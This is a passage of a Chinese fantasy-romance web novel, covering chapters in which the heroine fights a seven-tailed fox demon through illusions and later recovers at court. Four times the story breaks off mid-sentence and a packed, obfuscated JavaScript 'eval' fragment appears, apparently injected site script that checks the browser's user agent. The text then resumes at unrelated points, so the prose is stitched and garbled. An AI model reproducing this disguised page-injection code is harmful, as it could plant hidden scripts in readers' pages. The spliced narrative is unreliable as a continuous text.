一想到还要和宇文芜相处这么久,赵景泽就头疼,尤其地牢里还有两个不知作何处置的家伙。 余初晏算了算,“阿泽生辰也是中秋之后?”比皇后早上几日。 赵景泽点头,他还未及冠,不至于大办,但今年有余初晏相伴,已经是极好了,“阿晏可要早早备好生辰礼。” 余初晏掐他,小龙崽子和老龙一样脸皮厚,哪有直接向人讨厌生辰礼的。 “今年阿晏的生辰我都错过了,明年定要好好庆贺一番。”虽说后来补上了礼物,赵景泽还是耿耿于怀。 余初晏没有立刻答应,垂着眼也不知在想什么。 赵景泽抱着她傻乐,目光触及她头戴的金钗,笑容敛了几分,又想起了宇文芜手里那支。 他没忍住问:“阿晏今日在何处掉的金钗?” “不记得了。”余初晏随口道,她头上这么多饰品,什么形制,什么品级她通通没记住,若非赵景泽告知,她甚至发现不了少了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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司使平静道:“岛上除了受邀之人,旁人不得入内,若是四殿下不愿上岛,现在离开也可。” “你们欺人太甚……” “够了,子书。”沈观月目视着绿荫环绕的湖心岛,朝着小厮伸出手,“琴给我。” 子书欲言,被沈观月眼神制止,只得解下背上由锦缎包裹的琴,交由主子手中。 “四殿下请。”司使让开路,除了沈观月,其余人未踏上廊桥一步。 木制的桥面踩过时,会有细微的“吱呀”声,沈观月未回头,径直走至尽头。 一名褐衣老仆站在岛入口,手中结出复杂的手势,沈观月明显感知到轻微的阻力,仿佛通过了一道透明的门。 进入门内的瞬间,严夏不再,鼻尖萦绕着各式花香,入眼即是巨大的香樟树,遮天蔽日。 树下有一人正泡茶,手法堪称狂野,没有任何前奏,直接将热水灌入杯中。 叶片于杯中浮浮沉沉,层层堆在汤面。 那人抬眼望来,熟悉的眉眼另沈观月一愣,脱口道:“是你!你是青渊国师?” 余初晏未起身迎接,手一抬,邀请他入座,“师尊无法见你,有事与我说便可。” 沈观月抱着琴,迟迟没有再向前一步,“此事只能与国师相商……” “那你请回吧。”余初晏将落至杯中的香樟花拨出,“我已经说过了,师尊没法见你。” 沈观月垂眼立于原地,他额间的鸽血石折射着阳光,晃得余初晏蹙眉。 “国师果然已经仙逝了……”她听见沈观月呢喃。 心生警惕,余初晏问:“你从何得知此事?” 沈观月重新抬头,目光不躲不避对上余初晏,“月凰大巫预知到青渊国师道陨,纷争将至,大陆将陷入战乱之中。” 月凰国大巫,余初晏从未听过此号人物,她端着茶杯若有所思,看来师尊与月凰渊源颇深。 “然,雏凤展翅,天命玄鸟,降而生祥【1】。此先观月不解,见过神女您后,却是理解。”沈观月向前一步,屈膝行跪礼, “天命所归,玄鸟应劫而生,大巫特令观月祝您一臂之力。” 39. 幻境 天命所归,余初晏反复咀嚼这个词,通俗来讲,就是天道钦定代言者、打工人。 狗屁天道,占她便宜还扯出这么多冠冕堂皇的口号。 “阿晏。”赵景泽不满她的分心,咬在了她唇角,酸溜溜道,“阿晏从国师府回来后,一直心不在焉,他到底和你说了什么?” “是不好的话。”余初晏气鼓鼓,说了一堆,不就是暗示她未来要给天道做工。 不给赵景泽细问的机会,余初晏转移话题,“表姐和九殿下发生何事了?” 一提到此事,赵景泽按捺不住和余初晏诉苦。 昨日他出宫解决宇文芜惹出的乱子,原是宇文芜拜访赠礼,宋峥哪怕不愿也要给使臣几分颜面。 哪知礼盒打开后,赫然是一尊送子观音,若非陆三拦着,那尊观音像已经给宇文芜头上开了瓢。 礼是前天下午送的,当天晚上,宇文芜受邀游船,“意外”与宋峥的游船相撞,两船皆翻,落水一片。 巡捕到得及时,将人救起,所幸未完成人员伤亡,但天启使臣问责起来又是一庄棘手事,只能太子出面解决。 “你说这宇文芜,一天天的能不能安生些。”赵景泽这几天操的心比赈灾时还要多还要多。 那两名纨绔前脚判了流放,天启后脚又想追责宋峥,被皇后以年轻人之间嬉戏打闹糊弄了过去。 “你和天启的九殿下关系不佳?”余初晏问。 “……”赵景泽回想与宇文芜相处的这五年,说句势如水火也不为过。 “他刚来青渊时瘦瘦小小,又长成那副模样,我说了一句‘天启不是说皇子为质,怎么派了个公主来’,就被他记恨上了。” “他虽与我同岁,属实瘦弱不堪,母后心软,对他照顾有加,还令他与我、表姐、贺二那伙人一同,在尚书房求学念书。” “贺二是个混不吝的,名声在外,想欺负他,反被他整了,被太傅责罚了几次,还闹到过父皇面前。原以为他们会有所收敛,后来几人无意间发现宇文芜怕黑,越是幽闭的环境,反应越大。” “就时常将他关进荒废的宫殿中,他那会有个小厮,每次一间间宫殿去寻。我与表姐帮过几次,让贺二他们注意点分寸,却被宇文芜骂假好心,还到母后跟前告过状,害我与表姐被骂。” 宇文芜嘴上得理不饶人,又毒又犟,三言两语挑起人怒火,记打不记痛,赵景泽还只是对骂两句,转头就忘了,贺二那帮人就没那么好说话了。 某次提及宋峥之父娶续弦一事,还惹怒宋峥,带人将他绑进箱子里,锁了整整一日,据说他出来时已经进的气少出得气多。 “表姐这么凶吗?”平日里余初晏与她相处,或是看她与旁人相处,分明性情温和,少有生气,看来是真触及了底线。 “……就是那会京中传出我心悦表姐,多半是宇文芜传的,故意恶心表姐,贺二推波助澜。”赵景泽每每想起宇文芜就头疼。 “总之,三年前他归国,贺二上淮州,京中不知清净了多少。” 赵景泽脾气已经算很好了,被惹怒也只是生会闷气,哄哄就好,提到宇文芜却总是满腔躁郁,看来确实对九殿下诸多不满。 余初晏心想,小龙崽怎么一个比一个难搞,不过有一点,这贺二也是命硬,折腾过两只龙崽子还能活着,被她揍一顿也不亏。 “反正宇文芜在青渊待不了多久,据说他在天启举步维艰,处处被排挤。”青渊这边小打小闹还不至于伤他性命,天启皇子之争可真是会死人的,宴会那次遇害就是天启皇子伸手。 赵景泽倒没什么幸灾乐祸情绪在里头,至少在青渊,他们比宇文芜本人更在乎他的性命。 如今青渊可经不起战火的折腾。 余初晏不久前得知天启国皇帝昏庸无能、风流成性,宫里活下来的就有十二位皇子,六位公主。 成家的几位皇子与天启帝半斤八两,皇孙都生了不少。 真如师尊所说的,龙子龙孙不可计数。难怪宇文芜紫宸之气薄弱,这么多伪龙与他争斗,哪怕有紫宸护体,稍不小心就有被伪龙吞噬的风险。 好歹他元阳还在,若是不在了,余初晏倒不介意换一个伪龙扶持。 以前的余初晏觉得无所谓,现在历经过双修,见识到真龙元阳的效果,她又挑剔起来了。 还是赵景泽省心,余初晏反手亲了口怀里的赵太子,“今晚双修?” 赵景泽:“……青天白日的,就讨论这个……” 余初晏挑眉,赵景泽咬牙:“修!” - 两人还未温存多久,禁卫急匆匆赶来,说是之前抓住的丑狐狸越狱了。 “你们怎么看管的?”赵景泽大怒,连只变不成人的狐狸都看不住。 余初晏神识探出,在珍兽园发现了胡礼的身影,以原型趴在假山阴凉的洞中呼呼大睡,她所设的禁制却是让人给解开了。 遂道:“他不是逃出去的,应当是被人救了。” “怎么可能?”赵景泽不信,这几日因着父皇生辰,百使来贺,宫中戒备森严,一只苍蝇都飞不进。 能神不知鬼不觉混入青渊皇宫,救出地牢中的胡礼,还能不惊动余初晏将禁制解除,此人有些实力。 不是人,残留的灵力表明是只妖,道行不浅。 余初晏微微一笑,“去会会这只妖。” 她比太子仪仗先一步抵达珍兽园,比起磨磨蹭蹭坐步辇,还是飞檐走壁来得更快,可惜赵景泽不愿跟她同行。 甫一进入园内,余初晏就瞧见那股藏都藏不住的妖气,显然将胡礼劫走的大妖未将她放在眼中,胡礼都知道在外敛去妖力。 园中静得出奇,这座园子里尽数是旁人上供来的奇珍异兽,以往总会有各式动物嚎叫,今日都在狐妖的影响下陷入沉眠。 照顾珍兽的宫人也随意睡在路边,不省人事。 余初晏径直来到假山,从洞里把胡礼掏出来,他长胖了些,沾染灰尘的白毛都柔顺了几分。 “都说了那女人来之前,不要吵我睡觉……”胡礼半眯着眼,被余初晏掐住脖子后,瞬间清醒,瞪着四肢,“救命!救命!阿姐救命啊!” 暗处的大妖动了,一声清脆的响铃入耳,余初晏眨眼,手里掐着的胡礼赫然变成了小龙崽子的模样,口中轻唤着,“阿晏。” 余初晏没松手,一拳挥上去,幻像破灭,胡礼被揍得哇哇大叫。 铃声又一响,周身场景变化,余初晏扭头望去,这回变成了玉虚山的模样,她手中捏着一只偷吃莲蓬的仙鹤,面前是粼粼的池水。 “阿晏!阿晏!”有人冒冒失失从洞府跑出来,“你瞧见我的拂尘没,那支刻着九字真言的!” 那人只着一身靛青色宽袍,身上无任何配饰,仅有一根腰带固定衣袍,乌发用木簪简单地绾在脑后,清隽出尘,如谪仙入凡。 不自觉将野鹤松开,任由它扑腾着上天飞远,余初晏拧起秀气的眉眼,没好气道:“方才做饭时扔在灶台边,我就提醒过你记得带走!” 仙人垂目控诉,“若不是你还小,还在长身体,担心饿着你,我又何苦上厨房。” 余初晏捂着耳朵,不愿听她多说,做的饭这么难吃,也好意思说是为了她。 虽说如此还是跑去厨房,将拂尘拿出。 等余初晏手捧着拂尘,将要送至仙人手中时,她却迟疑了,手中拂尘嗡鸣,显然极不情愿入她人之手。 “本道若是没了阿晏如何是好。”仙人笑,笑容分明是余初晏熟悉的模样。 抬手触及拂尘,余初晏却将其握紧,不让她拿走。 仙人笑意未变,眼神中却多了一抹说不清道不明的意味,似是杀意,似是轻蔑,“阿晏,你不听师尊话了吗?” 余初晏盯着她的脸,久久不语,手中拂尘忽然向前一刺,仙人面露错愕。 “师尊才不会这么说。”唇边的轻语与幻境一同消散。 拂尘变回青渊剑,仍然在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“放开我。”黑衣人的手再进不得分毫,反被一股巨力缓缓抽出。 黑衣人诡谲一笑,“你又何必反抗,瞧你六亲缘浅,孤辰寡宿之命,活着只会不断给旁人带来灾难。” “父母亲人弃你、师尊离你而去、得道难成,人生三大苦,你竟占了个全,如此不如早早入了轮回,来世再享福。” 他的声音低哑蛊惑,若是旁人闻此,大抵真就照他所说那样,了却了生机。 但余初晏也笑,她抬眼,“你在狗叫什么?” 黑衣人显然怔住了,随即是暴怒,“如今你为鱼肉,还如此执迷不悟,那就由我亲自了断你的性命,也好过你这天煞孤星未来刑克六亲,害人害己!” “窥探我的记忆好玩吗?”余初晏手中用力,竟是将黑衣人的手折了。 在他惊颤的瞳孔中,弱小的孩童之躯逐渐长成成年后强大的身躯。 将青渊剑吸至手中,一剑将黑衣人腰斩,幻境再度消散,化作满天的黑沙。 在风沙漩涡的中心,余初晏横剑,“我本不想杀你,百年前师尊曾欠狐族一个人情,她让我若非不得已不伤及你们性命。” 胡礼尾巴炸成球被大妖揪住扔飞,电光火石之间,后者数条尾巴化作最坚固的利刃,挡在她面前,接住了青渊一剑。 灵力被青渊剑疯狂吞噬,大妖却无法后撤半分,只因尾巴一旦撤离,那魔剑便会将她劈成两半。 此时她才生出恐惧,分明只是个金丹期,分明只是个修炼不过十余载的后生。 眼前人一只眼猩红如血,另只眼漆黑如夜,嘴角上翘,半仙半魔面相奇异地融合在一张脸上。 “七尾。”余初晏单手持青渊,还能顺手数过她的尾巴,她眉目弯弯,笑容天真得像孩童,“接下来我会一根根斩断你的尾巴。” 40. 走火入魔 赵景泽觉得周身一切都不对劲,先不说珍兽园里传来莫名另他不适的摇铃声。 单说他身边人进入园中后,要么失去意识倒地不醒,要么像是见到什么可怕的东西,大喊大叫着跑走。 唯有赵景泽一人未受影响。 还没得及进园的禁卫见此分分止步不前,转而去寻钦天监帮忙。 赵景泽犹疑片刻,还是决定深入,向晖解下腰间陌刀扔至他手中,“殿下,保护好自己。” 接住了刀,赵景泽歪头一笑,“阿晏会保护本宫。” 向晖欲言又止,太子妃殿下状况如何还未知,太子倒是自信得很。 帮不上忙的众人,只能目送赵景泽步履不算沉重地向前。 珍兽园很大,赵景泽都不知自己走了多久,太阳一直位于头顶,未曾动弹过。 他没有方向,只凭直觉在走。 直到闻到血腥味,赵景泽心不自觉悬起,哪怕知道余初晏不会轻易受伤,脚下动作快了几分。 到后面,他直接跑了起来,腰间玉佩不断撞在陌刀上,最终摔碎至地也未获得主人关注。 “小仙大人!我们错了!求求您!别杀我阿姐!”凄厉地哀求伴随着额头重重磕在地上的闷声。 “别……求……她……” “都是我的错!我再也不敢觊觎太子、觊觎皇帝,求求您当过我阿姐!你杀我吧!别杀我阿姐!” 在这一声声泣血中,赵景泽心情沉重地转过假山,入目即是一只奄奄一息的赤狐。 化作人形的胡礼跪在赤狐身边,眉心血流如注,他却像感知不到任何痛感一般,不断磕头。 赵景泽心心念之人,一身红裙背对着他,手中提着青渊还在往下淌血。 “一条,两条,三条……六条。”余初晏剑尖点过被血染红的狐尾,“还有一条。” 青渊剑再度被举起。 “不要!”胡礼扑到赤狐身上,以身相护。 几乎同时,赵景泽冲上前,抱住余初晏的右臂,“阿晏!不要!” 他不知自己为何要拦下此剑,不知眼前陌生狐狸的身份,直觉告诉他必须阻止余初晏,死死抱住她不松手。 那一剑迟迟未落下。 余初晏松了力,冷眼瞧着地上的两只妖。 赵景泽也随之松了口气,余光瞧见余初晏白瓷般的脸颊上沾染了鲜红,他掏出帕子想要替她擦拭。 对上那只血红的眼睛后,他瞳孔一缩,“阿晏你的眼睛怎么了?是不是受伤了?太医!我们去找太医。” “她走火入魔了。”赤狐喘息着,眼中藏不住讽刺,“原本我还想替我主清扫障碍,这下无需我动手,她也活不了多久了。” “阿姐!别说了!”胡礼按住赤狐吻部,眼睛紧紧盯着余初晏一举一动。 赵景泽不知什么叫走火入魔,只听懂那句活不了多久,心急如焚,捧着余初晏的脸,张口欲言,却什么都说不出。 “她骗你的。”沉默不语的余初晏终于道。 她眯起那只眼睛,半边脸在赵景泽掌心蹭了蹭,“过会就好了。” 说着,眼睛已经恢复,只有眼白中还残余少量红血丝。 “那她说的活不久……”赵景泽哽咽。 余初晏额头朝前一撞,撞上了赵景泽的鼻梁,后者吃疼也没有放手。 “你信她还是信我?”余初晏好笑道。 “信你!”赵景泽毫不犹豫答。 余初晏踮脚,吻了吻他被撞的地方,“那就对了,我好好的,没有走火入魔,更不可能短命。” 这才哄得小龙崽子松开她,余初晏手里的青渊剑还未收回鞘中,左手揽着赵景泽的腰,“上好的狐狸毛,秋天快到了,让人捡回去做个围脖?” “你想做大衣也行。” 死亡视线直盯得胡礼瑟瑟发抖,“我阿姐的皮毛比我还糙,做成大衣可刺挠了。” 赤狐却是震惊地瞪大双眼,“你为何……明明走火入魔……” “你不是窥见了我的记忆吗?”余初晏还是笑。 “天生道体……”赤狐呢喃,“不对……天生道体不可能走火入魔,方才那分明是……除非……你道体不完整……” 她声音太低,赵景泽只看见她吻部一张一合,却不知她在说些什么。 他厉声问:“你是何人派来的?你主究竟是谁?为何要对阿晏出手?” 青渊剑在地上敲击两下,余初晏道:“说出你主身处何处,我心情好可能就饶你一命。” 无非是那只魔修派来的,不敢与她正面对上,一直弄些上不得台面的手段。 “我未奉任何人之命。”赤狐吐出一口鲜血,从容赴死,“不过是你碍了我主的道,若重来一次,我还是会出手。” 胡礼却俯身又是重重磕头,“我阿姐效忠月凰国太子,她身处月凰天都,可以放过我阿姐了吗!” 月凰国太子?余初晏蹙眉,反问:“你主不是逍遥道人?” 月凰太子年岁与她差不多,除非被夺舍,怎么可能是逍遥道人,莫非是听令于那魔修? “逍遥道人是何人?我们不认识。”胡礼摇头,赤狐让他闭嘴,他执意往下说,“阿姐真的效忠月凰太子,此番与四殿下一同入的宫,若是不信,你们还可以询问四殿下。” 余初晏这下疑惑了,既然不是逍遥道人派来的人,为何执意杀她,她与月凰太子并无交集,哪来的阻碍其道一说。 胡礼呜呜哭喊,“阿姐你说啊!你为何要伤小仙!” 赤狐闭目,缓缓道:“天生玄鸟,降而生祥,居渊土芒芒。” “天下分久必合,我主欲问鼎中原,赵太子软弱无能,宇文太子荒淫无道,唯有我主……” “天命所归……天命所归又如何,我便替我主劈了这天!” 这什么和什么,无辜被骂的赵景泽一头雾水,什么玄鸟居于青渊,什么天命所归。 没等他理清头绪,余初晏反手将他拉到身后,手中符箓拍于他胸口,并将其推开一丈有余。 而余初晏握剑而上,不知从何处聚起的金龙,伴随着她手中青渊,骤然没入赤狐下丹田。 “阿姐不要!”胡礼声嘶力竭,却被余初晏强行变回原型,扔进赵景泽怀中。 膨胀的灵力引发飓风,气浪瞬间淹没余初晏,她衣袂翻飞,任由青渊不断吸取赤狐灵力的同时,结印成界。 飓风像是被困在无形的罩中,内里狂风大作,却突破不出结界半分。 雷霆翻滚集结,暴雨将至。 巨大的金龙腾空,急啸一声,将雷云搅散,忽而张口将足以撕裂苍穹的灵气团吞入腹中。 即使有符箓护体,赵景泽与胡礼仍然被强劲的冲击力击飞,倒在地上,迟迟未起。 气浪褪去,金龙消散,百步之内地裂石塌,唯有余初晏站立,她深吸口气,“你疯了,元婴期自爆,整个澧都都会被你毁了,要死多少人?连你们四殿下都不顾了?” “你就是用这种方式为你主荡平阻碍?我都怀疑你和月凰太子有仇了,因果不拖死她就不错了。” 幸好余初晏看出了她的意图,及时在她自爆前全力搅碎她的丹田,若不然澧都将生灵涂炭、万劫不复。 赤狐尚有一口气,但元婴已灭,修为破碎,灵力池也再聚不起,这辈子与普通狐狸无异——若她还能活下来的话。 雨还是落下了,无论是力竭的余初晏还是奄奄一息的赤狐,再无以灵力避雨的余力。 “阿姐!”胡礼扑过来,抱住赤狐的残躯,用尽灵力护住她心脉。 余初晏没有阻止,反正赤狐已经废了,她踉跄一下,阻止元婴期自爆,就算有龙脉相助,对她而言也是极大的耗损。 随手抹去脸上的雨水,青渊剑似想趁她虚弱造反,被强行收入剑鞘,并扔进芥子里。 转头瞧见小龙崽子灰头土面站在她面前,两人都被大雨淋得满身狼狈。 “怎么搞这么脏?”余初晏笑,简直跟泥地里打滚出来后一样,“我没力气给你挡雨了,回去洗洗罢。” 说罢向前一栽,落入温热的怀抱中,鼻尖是赵景泽身上龙涎香,耳边是他压抑不住惊慌的呼喊。 余初晏靠在他肩头,闭眼缓缓陷入沉睡,“我睡一觉,晚膳前记得叫醒我。” - “月凰人刺杀青渊太子妃?消息属实吗?”宇文芜半卧在软榻上,青丝随意披散在肩头,手中漫不经心把玩着折扇。 身前跪着的狐面人死死低垂着头,不敢抬头半分,“月凰使馆已被禁卫包围,任何人不得离馆。” 这就奇了,青渊太子妃不过普通人,月凰何需大费周章刺杀她,还留下了罪证,若不是栽赃嫁祸,就是其中有不为人知的细节。 “去查!”宇文芜下令。 狐面人面露难色,“殿下有所不知,如今青渊宫中戒备森严,吾等安插的探子已被拔除,即使是属下……” 前有天启细作,后有刺客袭击,青渊帝震怒,宫中严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽说丹田还未充盈,灵力运转有几分滞碍,但在小龙崽子身边,很快就能补回来。 “我没事了,母后和阿泽无需担心。” “你昏迷了三日!”赵景泽双手紧握住她的右手,“我还以为……那只狐狸说的是真的。”说着就哽咽起来。 双手一左一右被母子两握紧,两人还都泪眼婆娑,塌前还站着垂泪的素兰与忧心忡忡的宋嬷嬷。 余初晏手足无措,哪一个都不敢挣脱,更不知如何安慰。 宋瑛轻叹一声,起身唤人去请太医,实则去外间整理好仪容再回余初晏塌前。 看出余初晏的困扰,她轻拍赵景泽后脑,“好了,像什么样,阿晏如今好好的,你这般倒叫旁人以为她出事了。” 赵景泽这才堪堪止住眼泪,握着余初晏的手却不肯放开,张太医来了,才勉强松手。 悬丝脉诊一番,仍然是脉搏强劲,无灾无病,但眼睁睁看人昏迷三日,张太医也不自信起来,难道修真之人真与常人不同? “张太医如何?太子妃身体可有碍?”皇后与太子在身旁急不可耐等他的诊断。 张太医揪着胡子,一句话也说不出。 “母后,我真没事!”余初晏哪能不清楚自己身体,同意太医脉诊,不过为了安两人的心。 赶在宋瑛开口前,余初晏飞快补充,“母后!我想吃桂花冰酪、清蒸鲥鱼?、栗子鸡、蟹黄糕……” 一口气报了七八道菜肴,皆是平日里她爱吃的,宋瑛望向张太医。 这回张太医出声了,“……殿下几日未用膳,清淡些为好。” 再度留下些安神方子,张太医一脸恍惚离去,素兰去煎药,宋瑛亲自去厨房把关,房中只余赵景泽。 余初晏还坐在床塌上,看他迟迟不靠近,张开手臂,“阿泽,过来。” 话音未落,已经被小龙崽抱了满怀,力气之大,恨不得将她揉进骨血中,融为一体才好。 “抱歉,吓到你了。”下巴搁在他肩头,余初晏可以清晰地听到小龙崽脉搏跳动。 急促而有力。 “我太没用了,保护不了阿晏。”不自觉又带上哭腔,余初晏在他面前倒下对赵景泽的冲击实在太大,深深地无力感压迫在他心间。 “你保护我了。”余初晏道,“如果不是阿泽阻止我,我可能真的走火入魔了。” 赤狐猜得没错,她道体不完整,被逍遥道人盗走了一部分。 因此比旁人更易走火入魔,师尊的心法有一半是为稳固她道心而生。 若非赵景泽拦下她那一剑,赤狐死前反扑极有可能让她彻底走火入魔,道心不复。 所以杀了逍遥道人,抽筋拔骨,夺回道体迫在眉睫。 赵景泽看不见的角度,余初晏眼中红光再度闪过。 41. 福星 余初晏在宫中被迫养病的一段时日,来了不少人探望。 先是李晓蓉与宋峥,因着近来京中戒严,两人合作开的绣庄不得不延期开业。 “等到秋猎后也好,等我料理了其他闲事,也好专心打理绣庄。”宋峥笑眯眯,似乎没有被此先与九殿下的争端影响。 李晓蓉带来了她最近专心绣制的衣裙,由华丽的漆盒装着,特意嘱咐余初晏无人时再打开。 宋峥靠在李晓蓉肩头,看向漆盒的眼中颇有哀怨,“神神秘秘的,晓蓉这几日可是连绣庄的事都不管,废寝忘食替你制衣,旁人想协助都不让。” “因为衣裳有些特殊。”李晓蓉红着脸,“总之阿晏看过就知了。” 余初晏收下了,答应无人时再打开。 宋峥揶揄,“能有多特殊?难不成晓蓉你还替阿晏制贴身衣裤?” “峥阿姊!”李晓蓉嗔她。 三人笑闹一阵,太子回来后,才起身道别。 宋峥离开前忽然道:“最近宇文芜的人在京中探查有关阿晏的消息。” 余初晏没什么想法,探听到了又如何,就凭那只弱得可怜的九殿下,能对她造成什么威胁。 赵景泽却是心头一紧,莫名的危机感升起。 两人走后,余初晏打开漆盒,内里是一件深紫蓝袖的巫祝服,搭着深红的内衬。 褶裙以深紫为主,以黑线打底绘制出鸟兽暗纹,搭以青蓝色蚕丝大袖外衫,肩胛以银线勾勒数只形态各异的蝴蝶,衣领、袖口、裙摆处以金线细细绣出精致花卉祭纹。 铺开后像一只振翅欲飞的蝴蝶,余初晏比划着,光是想象就能预见自己穿上后轻盈出尘的模样。 看得出李晓蓉费了很多心思,应当是见过那副神女图后,就着手设计并绣制。 赵景泽怂恿她试穿,余初晏不理,珍而重之收入芥子中,打定主意日后若有祭祀再穿。 其后贺吟、余雪生、叶苒三人撞在了一起探望她,三个人叽叽喳喳吵得麻雀都不敢接近听荷殿。 尤其叶苒,余初晏连系统都能轻松治住,想不通还有谁能伤她,明里暗里打听刺客的情况。 “不会是那位吧?” 余初晏摇头,“不是。” 将两人打哑谜一样的问答记在心中,贺吟和余雪生理智地没有多问,毕竟这不是她们能接触到的敌人。 虽说她不是被赤狐所伤,只能说是压制元婴自爆而力竭,个中缘由解释起来很麻烦,余初晏暗道就让她人误会算了。 再晚些,汪朝顺与他的徒弟领着一众赏赐来了,惯例被素兰通通锁进库房中。 先是一番细致的慰问,观余初晏确实无大碍,汪朝顺复道:“陛下原本要亲自来瞧瞧您的,月凰使臣听闻您醒了,在陛下跟前吵着闹着要见您呢。” “月凰人不安好心,不见!”赵景泽当即替余初晏回绝。 余初晏想了想,“若是沈观月求见,我就见他一面,其他人便算了。” “阿晏!”赵景泽不敢置信扭头看她。 余初晏却道:“他帮了我个忙,对我无恶意,见他一面算是情份。” 那把雷击木琴还在余初晏手中,沈观月自称奉月凰大巫之命,特意借琴相助。 只是借,待余初晏用完后还是要还给人家。 也正是因为赤狐道出与他相同的预言,才让余初晏勉强相信赤狐与逍遥道人无关,至于杀她是否是月皇太子的命令,余初晏无从得知。 同出一源的凡人们,意识、言行相互矛盾是常有的事,未免不会出现一派帮她,一派杀她的情况。 后续如何,就让青渊帝管去吧,她才懒得多费心思,有空不如多修炼。 汪朝顺离开东宫后,余初晏远远听到其小徒弟低声道:“有了这则预言,陛下应当不会再想拆散两位殿下了罢?说到底,两位殿下感情这么好,陛下何故多此一举?” 汪朝顺声音又轻又急:“主子的事也是你能多嘴的!掌嘴!” 两人渐行渐远,余初晏再未听到别的讯息,她神色奇怪,老龙果然麻烦,还没放弃他之前那辈分论呢。 总不能裴松山隔三差五在她面前晃悠,是皇帝授意罢,难怪他总是莫名其妙的。 觉察到她情绪不对,赵景泽歪头,“阿晏怎么了?” 余初晏摸了摸他的头,“陛下还是太闲了。” 赵景泽:“?” - 直到临近秋猎,沈观月也未曾求见她,期间余初晏还去过一趟地牢,赤狐已经苏醒,无忧无虑地吃了睡睡了吃,身边的胡礼愁得快秃了。 见到余初晏,两狐躲在角落瑟瑟发抖,哪怕没了神智,赤狐本能地畏惧她,胡礼更不用说了,他还不够余初晏一只手。 余初晏重设禁制就走,不愿与她们过多接触。 不久后月凰国寄来一封国书:愿以西临城附黄金万两换回赤狐。 这下皇帝都坐不住了,亲自来与余初晏商议。 “西临城是什么地方,值得陛下如此重视?”余初晏疑惑,“还有月凰那边,哪怕赤狐已经变成了普通狐狸,寿命只余几年也执意要换?” 赵景泽给她解释,西临城位于青渊与月凰边界线最南边,靠近沧江。 沧江是条重要水运枢纽,南连百越、安南多个小国,往北可至月凰,又可至青渊数地。 以往月凰国把控沧江,青渊行商南下,要么于交州改换陆路,要么就花费一大笔过路费,小国之人进入青渊同样如此。 若西临城纳入青渊版图,沧江将成为青渊囊中之物。 月凰为换回赤狐,下了血本,声称只要赤狐活着,无论变回何样都要将其带回月凰。 哪怕赤狐死了,西临城虽换不到,但以四殿下及剩余使臣为质,索要一笔赔偿也是合情合理。 无论如何,青渊都稳赚不赔,余初晏大概理解了,“所以陛下希望交换?” 青渊帝抚须,“要看阿晏的意思,那赤狐情况如何?可否能活着返回月凰?” 老龙又算计她,余初晏撇嘴,既担心赤狐留有实力,回到月凰未来可能威胁青渊,又担心赤狐死了,得不到好处。 “父皇,赤狐差点毁了澧都。”赵景泽提醒,“若不是阿晏阻止,澧都已经夷为平地。” 青渊帝叹口气,“阿晏如何想?是杀她,还是留她一命?朕记得地牢中还有另一只狐妖,赤狐为他而来,可还会有其他狐妖入青渊?” “父皇!阿晏为护澧都受了重伤,如今还在休养期间。”赵景泽刻意咬重“护澧都”三个字。 青渊帝目光沉沉看他一眼,甫将视线落回余初晏身上,静静待其开口。 “赤狐确实已经沦为普通狐狸,但短时间不会死。”余初晏很确定,“所以陛下尽管拿她做交易便是了。” 那只白狐,余初晏已经给他重新下过禁制,至于剩下的狐族她却是不知。 在此界,能修成七尾已经佼佼者,应当是举全族之力供出来的,狐族之后无非两种选择。 一是举全族之力,和她斗个鱼死网破,二是藏起狐狸尾巴,韬光养蓄。 哪怕差点走火入魔,余初晏也不觉得她想杀赤狐是错误的,谁让赤狐先动手,还窥探她的过去。 青渊帝走了,他还要继续与月凰谈判,试图加大筹码,争取更多的利益。 为君者本该如此,余初晏没什么感觉,赵景泽却担心她与青渊离了心,温声安慰了许久。 “月凰随手拿出一座城池交换,我觉得其中说不定有诈,父皇应当也知晓,但青渊确实需要大量粮食……” 余初晏沉默听着,将这些记在心中。 - 秋猎如期而至,皇家猎场中已竖起数顶圆帐,以皇帝所在为中心,帐篷铺满整个广场,映衬着红黄绿交错的群山。 清晨,山间晨雾还未散去,秋日的风已经带上了凉意,一辆辆精巧马车行走于山间,队列正中心六马齐驱的鎏金马车内天子高坐,太子着玄甲护其左右。 其后四驱马车内,宋瑛一身骑装坐于蒲团,两位小殿下困顿靠在她怀中安睡。 对面坐着的余初晏正透过敞开的车窗远眺群山。 “阿晏可是无聊了?要出去骑马转一圈吗?”宋瑛笑问。 余初晏收回视线,摇头道:“不无聊,母后也要进林中狩猎吗?” 宋瑛扬眉,“很意外吗?帝后前三日都会参与狩猎。” 余初晏早知宋瑛会武,还未亲眼见过她动手,隐隐生出几分期待,“那表姐?” “自然也要。你表姐精通骑射,早些年还侥幸夺过魁首。”宋瑛提及此事,眉宇间带着挥之不去骄傲。 余初晏撑着下巴听她说,若是师尊还在,也会这般向旁人炫耀她吗。 两人的交谈声,吵醒了赵堇淳,她揉揉眼睛作势要醒,“母后,还未到吗?” 宋瑛轻抚她的脊背,“还要半个时辰,再睡会。” 赵堇淳偷看一眼余初晏,靠在皇兄身边,重新闭眼睡去。 余初晏看在眼中,不自觉想起了在幻境中的一切。 虽说幻境中黑衣人——也就是赤狐所说有故意动摇她意志之嫌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 